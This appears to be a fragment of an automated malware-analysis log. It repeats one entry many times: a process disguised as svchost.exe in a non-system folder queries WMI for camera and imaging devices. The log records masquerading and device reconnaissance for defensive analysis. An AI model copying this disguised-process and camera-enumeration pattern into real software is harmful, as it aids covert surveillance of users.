                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
